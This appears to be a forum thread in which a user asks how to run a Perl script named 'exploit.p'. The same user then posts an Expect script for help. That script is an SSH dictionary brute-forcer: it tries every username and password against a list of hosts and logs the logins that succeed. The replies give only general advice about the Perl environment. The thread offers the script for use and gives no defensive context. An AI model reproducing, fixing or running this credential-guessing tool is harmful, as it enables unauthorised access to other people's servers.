Perl scripts :)

[ayu]

How do i execute a perl script

ex: i have "exploit.p" on my deskop...i knew it b4....but i forgot... never used it = / but now i need it again

[bad_brain]

Get the Perl environment, change the PATH variable to the bin folder and simply run the script with
perl scriptname.pl
....

[ayu]

When i trie to run my file it says "no such file or directory" ....yar >_<

[bad_brain]

When you´re in command prompt you have to cd to the folder where the script is located...either that or you have forgotten to change the PATH-variable to the Perl bin-folder...

[ayu]

Yeah worked now. Thx

[ayu]

Tried to solve this one on my own....but once again i failed ^^

Someone that can help me?



the code im using is

#!/usr/bin/expect -f
#

set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect ":"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}

[ayu]

Anyone?

[bad_brain]

Um, well, I just started with Perl, but it seems like the script wants to use a library which isn´t present, "expect" is a module for Perl under Linux as far as I know.
Normally a Perl script starts with

Code: Select all

#!/usr/bin/perl

In the "usual" Perl environment "expect" isn´t available in the bin-folder, at least not in the Active State Perl one....